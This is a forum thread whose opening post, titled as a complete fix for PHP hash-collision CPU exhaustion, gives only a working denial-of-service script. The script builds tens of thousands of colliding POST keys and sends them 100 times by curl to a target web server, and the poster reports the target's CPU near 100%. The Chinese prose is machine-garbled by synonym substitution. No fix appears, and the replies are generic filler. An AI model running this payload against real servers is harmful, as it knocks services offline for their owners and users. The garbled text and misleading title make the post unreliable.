仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 946|回复: 7
打印 上一主题 下一主题

[CentOS(社区)] 给大家带来PHP Hash抵触招致 CPU 100%的完整办理***

[复制链接]
活着的死人 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-14 20:30:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
如果您觉得本篇CentOSLinux教程讲得好,请记得点击右边漂浮的分享程序,把好文章分享给你的好朋友们!我们在这台web办事器上编写一个PHP步伐,目标是要测试机往Hash它,以便妨碍重现。
步伐言语以下:


1
2
3
<!--?php
echo$showtime=date("Y-m-dH:i:s");
?-->




实行后的效果是取以后办事器的工夫。



找台有PHP情况的测试呆板,这台呆板我用假造机,内里有LAMP情况。进/usr/local/apache/htdocs目次,写一PHP网页,步伐言语以下:
[root@bloghtdocs]#Vihash.php

本人用的时分要把正文往失落!C―要自行删除不然不克不及运转
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!--?php
$size=pow(2,16);
$data=;
for($key=0,$maxKey=($size-1)*$size;$key<=$maxKey;$key+=$size){
$data.=$key.=&;
}
$url=http://www.liu***xx.com/checktime.php;
$rs=array();
$ch=curl_init();
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
for($i=0;$i<100;++$i)
{
curl_exec($ch);
}
curl_close($ch);
?-->



url地点,为你要作测试的方针机,i<100,暗示最多100个并发。手工实行hash.php,举行hash碰撞。
[root@bloghtdocs]#/usr/local/php/bin/phphash.php
在web办事器端,我们往看办事器的资本使用情形,CPU是97.6%,看模样单台假造机,拿100并发往Hash,就充足把web办事器的CPU使用率升至100%。


欢迎大家来到仓酷云论坛!
活着的死人 该用户已被删除
沙发
 楼主| 发表于 2015-1-15 19:45:51 | 只看该作者

给大家带来PHP Hash抵触招致 CPU 100%的完整办理***

甚至目前许多应用软件都是基于它的。可是没有哪一个系统是十分完美的。
海妖 该用户已被删除
板凳
发表于 2015-1-18 09:14:42 | 只看该作者
未来的学习之路将是以指数增加的方式增长的。从网管员来说,命令行实际上就是规则,它总是有效的,同时也是灵活的。
简单生活 该用户已被删除
地板
发表于 2015-1-27 07:31:25 | 只看该作者
我想即使Linux高手也很难快速准确精练的回答你。
透明 该用户已被删除
5#
发表于 2015-2-5 11:45:39 | 只看该作者
写学习日记,这是学习历程的见证,同时我坚持认为是增强学习信念的法宝。
变相怪杰 该用户已被删除
6#
发表于 2015-2-11 20:27:08 | 只看该作者
得到到草率的回答或者根本得不到任何Linux答案。越表现出在寻求帮助前为解决问题付出的努力,你越能得到实质性的帮助。
深爱那片海 该用户已被删除
7#
发表于 2015-3-2 19:43:31 | 只看该作者
感谢老师和同学们在学习上对我的帮助。
柔情似水 该用户已被删除
8#
发表于 2015-3-11 07:59:38 | 只看该作者
放手去搞。尽量不要提问,运用搜索找答案,或者看wiki,从原理上理解操作系统的本质,而不是满足于使用几个技巧。尽量看英文资料。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-4 07:06

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表